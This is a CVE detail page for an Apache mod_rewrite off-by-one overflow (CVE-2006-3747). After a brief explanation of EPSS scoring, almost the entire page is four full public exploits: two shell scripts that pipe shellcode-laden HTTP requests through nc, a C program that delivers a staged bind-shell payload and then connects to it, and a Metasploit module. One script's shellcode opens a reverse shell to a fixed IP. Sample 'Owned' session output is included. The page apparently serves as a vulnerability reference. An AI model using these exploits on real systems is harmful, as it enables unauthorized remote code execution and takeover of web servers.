CVE-2006-3747 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/bin/sh # Exploit for Apache mod_rewrite off-by-one. # Vulnerability discovered by Mark Dowd. # CVE-2006-3747 # # by jack <jack\x40gulcas\x2Eorg> # 2006-08-20 # # Thx to xuso for help me with the shellcode. # # I suppose that you've the "RewriteRule kung/(.*) $1" rule if not # you must recalculate adressess. # # Shellcode is based on Taeho Oh bindshell on port 30464 and modified # for avoiding apache url-escape.. Take a look is quite nice ;) # # Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at # 0x0834ae77 for any other version/system find it. # # Gulcas rulez :P echo -e "mod_rewrite apache off-by-one overflow" echo "by jack <jack\x40gulcas\x2eorg>\n\n" if [ $# -ne 1 ] ; then echo "Usage: $0 webserver" exit fi host=$1 echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6\ %31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3\ %01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04\ %31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66\ %b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31\ %c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8\ %23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76\ %08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db\ %cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\ %77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\n\ Host: $host\r\n\r\n" | nc $host 80 # milw0rm.com [2006-08-21]

/* apache mod rewrite exploit (win32) By: fabio/b0x (oc-192, old CoTS member) Vuln details: http://www.securityfocus.com/archive/1/archive/1/443870/100/0/threaded Code: bind shell on port 4445, tested on apache 2.0.58 with mod_rewrite (windows 2003) original exploit (http://milw0rm.com/exploits/3680) only had a call back on 192.168.0.1, also was a little buggy, so shellcode was rewriten, thanks to http://metasploit.com/ Usage: ./apache hostname rewrite_path Greetings: caffeine, raver, psikoma, cumatru, insomnia, teddym6, googleman, ares, trickster, rebel and Pentaguard Example: ./apache 192.168.0.253 test [+]Preparing payload [+]Connecting... [+]Connected [+]Sending... [+]Sent [+]Starting second stage... [+]Connecting... [+]Connected [+]Sending... [+]Sent [+]Connecting to shell Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\Program Files\Apache Group\Apache2>exit exit [+]Owned */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #define PORT 80 #define PORT2 4444 #define MAXDATASIZE 1024 char get[] = "/ldap://localhost/%3fA%3fA%3fCCCCCCCCCC%3fC%3f%90"; char shellcode[]= "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49" "\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41" "\x58\x50\x30\x42\x30\x41\x6b\x41\x41\x51\x41\x32\x41\x41\x32\x42" "\x42\x42\x30\x42\x41\x58\x38\x41\x42\x50\x75\x7a\x49\x4b\x58\x56" "\x36\x73\x30\x43\x30\x75\x50\x70\x53\x66\x35\x70\x56\x31\x47\x4c" "\x4b\x50\x6c\x44\x64\x55\x48\x6c\x4b\x73\x75\x75\x6c\x4c\x4b\x61" "\x44\x73\x35\x63\x48\x35\x51\x4b\x5a\x6c\x4b\x50\x4a\x37\x68\x6c" "\x4b\x42\x7a\x77\x50\x37\x71\x4a\x4b\x6b\x53\x44\x72\x30\x49\x6e" "\x6b\x44\x74\x6e\x6b\x56\x61\x68\x6e\x54\x71\x39\x6f\x6b\x4c\x70" "\x31\x4b\x70\x6c\x6c\x67\x48\x6b\x50\x54\x34\x53\x37\x6b\x71\x68" "\x4f\x44\x4d\x73\x31\x78\x47\x38\x6b\x38\x72\x45\x6b\x73\x4c\x31" "\x34\x46\x74\x52\x55\x6b\x51\x6c\x4b\x63\x6a\x65\x74\x56\x61\x7a" "\x4b\x32\x46\x4c\x4b\x76\x6c\x70\x4b\x4e\x6b\x30\x5a\x75\x4c\x67" "\x71\x5a\x4b\x6e\x6b\x74\x44\x4e\x6b\x57\x71\x6b\x58\x68\x6b\x76" "\x62\x50\x31\x4b\x70\x33\x6f\x53\x6e\x31\x4d\x63\x6b\x4b\x72\x65" "\x58\x55\x50\x61\x4e\x31\x7a\x36\x50\x42\x79\x70\x64\x4e\x6b\x74" "\x59\x6e\x6b\x43\x6b\x44\x4c\x4c\x4b\x51\x4b\x77\x6c\x4c\x4b\x35" "\x4b\x6e\x6b\x31\x4b\x74\x48\x73\x63\x63\x58\x6c\x4e\x70\x4e\x44" "\x4e\x78\x6c\x79\x6f\x4b\x66\x4d\x59\x6f\x37\x4b\x31\x78\x6c\x33" "\x30\x77\x71\x73\x30\x47\x70\x36\x37\x53\x66\x51\x43\x4d\x59\x69" "\x75\x39\x78\x56\x47\x57\x70\x37\x70\x37\x70\x6e\x70\x45\x51\x33" "\x30\x37\x70\x4c\x76\x72\x39\x55\x48\x7a\x47\x6d\x74\x45\x49\x54" "\x30\x4d\x39\x38\x65\x77\x39\x4b\x36\x50\x49\x6c\x64\x35\x4a\x52" "\x50\x4f\x37\x6c\x64\x4c\x6d\x76\x4e\x4d\x39\x4b\x69\x45\x59\x49" "\x65\x4e\x4d\x78\x4b\x4a\x4d\x6b\x4c\x77\x4b\x31\x47\x50\x53\x74" "\x72\x61\x4f\x46\x53\x67\x42\x57\x70\x61\x4b\x6c\x4d\x42\x6b\x75" "\x70\x70\x51\x6b\x4f\x7a\x77\x4b\x39\x4b\x6f\x4f\x79\x4f\x33\x4e" "\x6d\x71\x65\x52\x34\x53\x5a\x53\x37\x30\x59\x50\x51\x66\x33\x4b" "\x4f\x55\x64\x4c\x4f\x6b\x4f\x66\x35\x43\x34\x50\x59\x6e\x69\x47" "\x74\x6c\x4e\x6a\x42\x58\x72\x54\x6b\x64\x67\x72\x74\x39\x6f\x76" "\x57\x6b\x4f\x50\x55\x44\x70\x30\x31\x4b\x70\x50\x50\x30\x50\x50" "\x50\x32\x70\x77\x30\x46\x30\x53\x70\x70\x50\x49\x6f\x63\x65\x66" "\x4c\x4b\x39\x4f\x37\x30\x31\x6b\x6b\x33\x63\x71\x43\x42\x48\x54" "\x42\x63\x30\x76\x71\x63\x6c\x4c\x49\x6d\x30\x52\x4a\x32\x30\x32" "\x70\x36\x37\x59\x6f\x52\x75\x71\x34\x50\x53\x70\x57\x4b\x4f\x72" "\x75\x44\x68\x61\x43\x62\x74\x33\x67\x59\x6f\x63\x65\x67\x50\x4c" "\x49\x38\x47\x6d\x51\x5a\x4c\x53\x30\x36\x70\x53\x30\x33\x30\x4e" "\x69\x4b\x53\x53\x5a\x43\x30\x72\x48\x53\x30\x34\x50\x33\x30\x33" "\x30\x50\x53\x76\x37\x6b\x4f\x36\x35\x74\x58\x6e\x61\x4a\x4c\x67" "\x70\x35\x54\x33\x30\x63\x30\x49\x6f\x78\x53\x41"; char finish[]= "HTTP/1.0\r\nHost: "; char payload2[]= "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x18" "\xd9\x03\x3a\x83\xeb\xfc\xe2\xf4\xe4\xb3\xe8\x77\xf0\x20\xfc\xc5" "\xe7\xb9\x88\x56\x3c\xfd\x88\x7f\x24\x52\x7f\x3f\x60\xd8\xec\xb1" "\x57\xc1\x88\x65\x38\xd8\xe8\x73\x93\xed\x88\x3b\xf6\xe8\xc3\xa3" "\xb4\x5d\xc3\x4e\x1f\x18\xc9\x37\x19\x1b\xe8\xce\x23\x8d\x27\x12" "\x6d\x3c\x88\x65\x3c\xd8\xe8\x5c\x93\xd5\x48\xb1\x47\xc5\x02\xd1" "\x1b\xf5\x88\xb3\x74\xfd\x1f\x5b\xdb\xe8\xd8\x5e\x93\x9a\x33\xb1" "\x58\xd5\x88\x4a\x04\x74\x88\x7a\x10\x87\x6b\xb4\x56\xd7\xef\x6a" "\xe7\x0f\x65\x69\x7e\xb1\x30\x08\x70\xae\x70\x08\x47\x8d\xfc\xea" "\x70\x12\xee\xc6\x23\x89\xfc\xec\x47\x50\xe6\x5c\x99\x34\x0b\x38" "\x4d\xb3\x01\xc5\xc8\xb1\xda\x33\xed\x74\x54\xc5\xce\x8a\x50\x69" "\x4b\x8a\x40\x69\x5b\x8a\xfc\xea\x7e\xb1\x12\x67\x7e\x8a\x8a\xdb" "\x8d\xb1\xa7\x20\x68\x1e\x54\xc5\xce\xb3\x13\x6b\x4d\x26\xd3\x52" "\xbc\x74\x2d\xd3\x4f\x26\xd5\x69\x4d\x26\xd3\x52\xfd\x90\x85\x73" "\x4f\x26\xd5\x6a\x4c\x8d\x56\xc5\xc8\x4a\x6b\xdd\x61\x1f\x7a\x6d" "\xe7\x0f\x56\xc5\xc8\xbf\x69\x5e\x7e\xb1\x60\x57\x91\x3c\x69\x6a" "\x41\xf0\xcf\xb3\xff\xb3\x47\xb3\xfa\xe8\xc3\xc9\xb2\x27\x41\x17" "\xe6\x9b\x2f\xa9\x95\xa3\x3b\x91\xb3\x72\x6b\x48\xe6\x6a\x15\xc5" "\x6d\x9d\xfc\xec\x43\x8e\x51\x6b\x49\x88\x69\x3b\x49\x88\x56\x6b" "\xe7\x09\x6b\x97\xc1\xdc\xcd\x69\xe7\x0f\x69\xc5\xe7\xee\xfc\xea" "\x93\x8e\xff\xb9\xdc\xbd\xfc\xec\x4a\x26\xd3\x52\xe8\x53\x07\x65" "\x4b\x26\xd5\xc5\xc8\xd9\x03\x3a"; int main(int argc, char *argv[]) { int sockfd, numbytes; char buf[MAXDATASIZE]; struct hostent *he; struct sockaddr_in their_addr; printf(" Exploit: apache mod rewrite exploit (win32)\n" " By: fabio/b0x (oc-192, old CoTS member)\n" "Greetings: caffeine, raver, psikoma, cumatru, insomnia, teddym6, googleman, ares, trickster, rebel and Pentaguard\n" ); if (argc != 3) { printf(" Usage: ./apache hostname rewrite_path\n"); exit(1); } printf("\n[+]Preparing payload\n"); char payload[748]; sprintf(payload,"GET /%s%s%s%s%s\r\n\r\n\0",argv[2],get,shellcode,finish,argv[1]); printf("[+]Connecting...\n"); if ((he=gethostbyname(argv[1])) == NULL) { printf("[-]Cannot resolv hostname...\n"); exit(1); } if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { printf("[-]Socket error...\n"); exit(1); } their_addr.sin_family = AF_INET; their_addr.sin_port = htons(PORT); their_addr.sin_addr = *((struct in_addr *)he->h_addr); memset(their_addr.sin_zero, '\0', sizeof their_addr.sin_zero); if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { printf("[-]Unable to connect\n"); exit(1); } printf("[+]Connected\n[+]Sending...\n"); if (send(sockfd, payload, strlen(payload), 0) == -1){ printf("[-]Unable to send\n"); exit(1); } printf("[+]Sent\n"); close(sockfd); printf("[+]Starting second stage...\n"); sleep(3); printf("[+]Connecting...\n"); if ((he=gethostbyname(argv[1])) == NULL) { printf("[-]Cannot resolv hostname...\n"); exit(1); } if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { printf("[-]Socket error...\n"); exit(1); } their_addr.sin_family = AF_INET; their_addr.sin_port = htons(PORT2); their_addr.sin_addr = *((struct in_addr *)he->h_addr); memset(their_addr.sin_zero, '\0', sizeof their_addr.sin_zero); if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { printf("[-]Unable to connect\n"); exit(1); } printf("[+]Connected\n[+]Sending...\n"); if (send(sockfd, payload2, strlen(payload2), 0) == -1){ printf("[-]Unable to send\n"); exit(1); } printf("[+]Sent\n[+]Connecting to shell\n"); close(sockfd); sleep(3); int exec; char what[1024]; sprintf(what," nc -w 10 %s 4445",argv[1]); exec=system(what); if (exec!=0){ printf("[-]Not hacked\n"); } else { printf("[+]Owned\n"); } exit(1); } // milw0rm.com [2007-05-26]

## # $Id: apache_mod_rewrite_ldap.rb 8498 2010-02-15 00:48:03Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Apache module mod_rewrite LDAP protocol Buffer Overflow', 'Description' => %q{ This module exploits the mod_rewrite LDAP protocol scheme handling flaw discovered by Mark Dowd, which produces an off-by-one overflow. Apache versions 1.3.29-36, 2.0.47-58, and 2.2.1-2 are vulnerable. This module requires REWRITEPATH to be set accurately. In addition, the target must have 'RewriteEngine on' configured, with a specific 'RewriteRule' condition enabled to allow for exploitation. The flaw affects multiple platforms, however this module currently only supports Windows based installations. }, 'Author' => 'patrick', 'Version' => '$Revision: 8498 $', 'References' => [ [ 'CVE', '2006-3747' ], [ 'OSVDB', '27588' ], [ 'BID', '19204' ], [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2006-07/0514.html' ], [ 'URL', 'http://www.milw0rm.com/exploits/3680' ], [ 'URL', 'http://www.milw0rm.com/exploits/3996' ], [ 'URL', 'http://www.milw0rm.com/exploits/2237' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Platform' => ['win'], # 'linux'], 'Payload' => { 'Space' => 636, 'BadChars' => "\x00\x0a\x0d\x20", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'StackAdjustment' => -3500, 'DisableNops' => 'True', }, 'Targets' => [ [ 'Automatic', {} ], # patrickw tested OK 20090310 win32 ], 'DisclosureDate' => 'Jul 28 2006', 'DefaultTarget' => 0)) register_options( [ OptString.new('REWRITEPATH', [true, "The mod_rewrite URI path", "rewrite_path"]), ], self.class) end def check res = send_request_raw({ 'uri' => '/', 'version' => '1.1', }, 2) if (res.to_s =~ /Apache/) # This could be smarter. return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit # On Linux Apache, it is possible to overwrite EIP by # sending ldap://<buf> ... TODO patrickw trigger = '/ldap://localhost/%3fA%3fA%3fCCCCCCCCCC%3fC%3f%90' print_status("Sending payload.") send_request_raw({ 'uri' => '/' + datastore['REWRITEPATH'] + trigger + payload.encoded, 'version' => '1.0', }, 2) handler end end

#!/bin/sh # Exploit for Apache mod_rewrite off-by-one(Win32). # # by axis <axis@ph4nt0m> # http://www.ph4nt0m.org # 2007-04-06 # # Tested on Apache 2.0.58 (Win32) # Windows2003 CN SP1 # # Vulnerable Apache Versions: # * 1.3 branch: >1.3.28 and <1.3.37 # * 2.0 branch: >2.0.46 and <2.0.59 # * 2.2 branch: >2.2.0 and <2.2.3 # # # Vulnerability discovered by Mark Dowd. # CVE-2006-3747 # # first POC by jack <jack\x40gulcas\x2Eorg> # 2006-08-20 # http://www.milw0rm.com/exploits/2237 # # # # to successfully exploit the vuln,there are some conditions # http://www.vuxml.org/freebsd/dc8c08c7-1e7c-11db-88cf-000c6ec775d9.html # # # some compilers added padding to the stack, so they could not be exploited,like gcc under redhat # # for more details about the vuln please see: # http://www.securityfocus.com/archive/1/archive/1/443870/100/0/threaded # # # no opcodes needed under windows! # it will directly run our shellcode # # my apache config file # [httpd.conf]: # RewriteEngine on # RewriteRule 1/(.*) $1 # RewriteLog "logs/rewrite.log" # RewriteLogLevel 3 # # # Usage: # [axis@security-lab2 xploits]$ sh mod_rewrite.sh 10.0.76.141 # mod_rewrite apache off-by-one overflow # # [axis@opensystemX axis]$ nc -vv -n -l -p 1154 # listening on [any] 1154 ... # connect to [x.x.x.111] from (UNKNOWN) [10.0.76.141] 4077 # Microsoft Windows [¡ã?¡À? 5.2.3790] # (C) ¡ã?¨¨¡§?¨´¨®D 1985-2003 Microsoft Corp. # # D:\Apache\Apache2>exit # exit # sent 5, rcvd 100 # # # # shellcode µÄbadchar£¬ÎÒÕâÀïÓõģ¬Æäʵ²»ÐèÒªÄÇô¶à # ÎÒ¸úµ½Á½¸öbadcharÊÇ 0x3fºÍ 0x0b ÆäËû¶¼ÊÇÒÔÇ°Éú³ÉshellcodeÏ°¹ßÐÔ±£ÁôµÄ # 0x00 0x3a 0x22 0x3b 0x7d 0x7b 0x3c 0x3e 0x5c 0x5d 0x3f 0x0b # echo -e "mod_rewrite apache off-by-one overflow" if [ $# -ne 1 ] ; then echo "Usage: $0 webserver" exit fi host=$1 #use ldap:// to trigger the vuln, "Ph4nt0m" is any arbitrary string echo -ne "GET /1/ldap://ph4nt0m/`perl -e 'print "Ph4nt0m"x5'`\ # %3f to trigger the vuln %3fA%3fA%3f\ #string "CCCC.." is any arbitrary string, use %3f to trigger the vuln #%90 is the machine code we will jmp to(NOP),run shellcode from here `perl -e 'print "C"x10'`%3fC%3f%90\ # shellcode,reverse shell to 192.168.0.1 ,port 1154 alpha2 encoded `perl -e 'print "\ \xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49\ \x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x51\x5a\x6a\x63\ \x58\x30\x42\x30\x50\x42\x6b\x42\x41\x73\x42\x32\x42\x41\x41\x32\ \x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x69\x79\x79\x6c\x51\ \x7a\x6a\x4b\x50\x4d\x4d\x38\x6b\x49\x79\x6f\x49\x6f\x6b\x4f\x65\ \x30\x4c\x4b\x72\x4c\x45\x74\x51\x34\x4e\x6b\x71\x55\x77\x4c\x6c\ \x4b\x33\x4c\x64\x45\x33\x48\x64\x41\x5a\x4f\x4c\x4b\x72\x6f\x36\ \x78\x4c\x4b\x73\x6f\x45\x70\x66\x61\x4a\x4b\x53\x79\x4e\x6b\x44\ \x74\x4e\x6b\x73\x31\x38\x6e\x55\x61\x79\x50\x6c\x59\x6c\x6c\x4b\ \x34\x6f\x30\x74\x34\x34\x47\x59\x51\x5a\x6a\x76\x6d\x76\x61\x6f\ \x32\x5a\x4b\x79\x64\x55\x6b\x33\x64\x51\x34\x41\x38\x30\x75\x4b\ \x55\x6e\x6b\x33\x6f\x44\x64\x46\x61\x7a\x4b\x32\x46\x6e\x6b\x34\ \x4c\x42\x6b\x6e\x6b\x73\x6f\x77\x6c\x54\x41\x58\x6b\x43\x33\x74\ \x6c\x6c\x4b\x4d\x59\x50\x6c\x74\x64\x75\x4c\x52\x41\x6f\x33\x50\ \x31\x6b\x6b\x72\x44\x4c\x4b\x50\x43\x66\x50\x6c\x4b\x33\x70\x64\ \x4c\x6c\x4b\x74\x30\x65\x4c\x4e\x4d\x4e\x6b\x53\x70\x47\x78\x33\ \x6e\x51\x78\x4c\x4e\x52\x6e\x56\x6e\x58\x6c\x50\x50\x59\x6f\x79\ \x46\x70\x66\x62\x73\x75\x36\x75\x38\x66\x53\x64\x72\x42\x48\x53\ \x47\x32\x53\x50\x32\x71\x4f\x71\x44\x49\x6f\x48\x50\x52\x48\x5a\ \x6b\x48\x6d\x6b\x4c\x65\x6b\x70\x50\x4b\x4f\x68\x56\x61\x4f\x4e\ \x69\x4a\x45\x30\x66\x6e\x61\x78\x6d\x67\x78\x73\x32\x42\x75\x52\ \x4a\x75\x52\x6b\x4f\x7a\x70\x61\x78\x6b\x69\x55\x59\x6c\x35\x6e\ \x4d\x51\x47\x4b\x4f\x4e\x36\x70\x53\x50\x53\x56\x33\x76\x33\x43\ \x73\x32\x73\x31\x53\x52\x73\x6b\x4f\x4a\x70\x70\x68\x6f\x30\x6d\ \x78\x35\x50\x46\x61\x30\x66\x30\x68\x76\x64\x6c\x42\x33\x56\x70\ \x53\x4e\x69\x78\x61\x4c\x55\x75\x38\x4a\x4c\x58\x79\x4c\x6a\x73\ \x50\x53\x67\x6b\x4f\x6a\x76\x73\x5a\x72\x30\x73\x61\x53\x65\x4b\ \x4f\x6a\x70\x52\x46\x31\x7a\x52\x44\x73\x56\x50\x68\x51\x73\x50\ \x6d\x32\x4a\x62\x70\x51\x49\x47\x59\x6a\x6c\x6c\x49\x4b\x57\x42\ \x4a\x73\x74\x6d\x59\x6d\x32\x35\x61\x6f\x30\x48\x73\x4f\x5a\x6f\ \x65\x4c\x49\x39\x6d\x4b\x4e\x33\x72\x54\x6d\x6b\x4e\x33\x72\x34\ \x6c\x6c\x4d\x50\x7a\x57\x48\x4e\x4b\x4c\x6b\x6c\x6b\x71\x78\x32\ \x52\x6b\x4e\x6c\x73\x42\x36\x49\x6f\x73\x45\x65\x78\x6b\x4f\x6e\ \x36\x71\x4b\x42\x77\x43\x62\x53\x61\x76\x31\x70\x51\x30\x6a\x35\ \x51\x62\x71\x76\x31\x72\x75\x43\x61\x4b\x4f\x6e\x30\x73\x58\x4e\ \x4d\x7a\x79\x37\x75\x38\x4e\x31\x43\x4b\x4f\x4a\x76\x30\x6a\x39\ \x6f\x6b\x4f\x70\x37\x6b\x4f\x6e\x30\x45\x38\x39\x77\x54\x39\x79\ \x56\x71\x69\x79\x6f\x53\x45\x56\x64\x69\x6f\x69\x46\x6b\x4f\x62\ \x57\x6b\x4c\x4b\x4f\x6a\x70\x50\x68\x6a\x50\x6f\x7a\x37\x74\x43\ \x6f\x72\x73\x4b\x4f\x6a\x76\x79\x6f\x38\x50\x63\ "'`\ HTTP/1.0\r\n\ Host: $host\r\n\r\n" | nc -vv $host 80 # milw0rm.com [2007-04-07]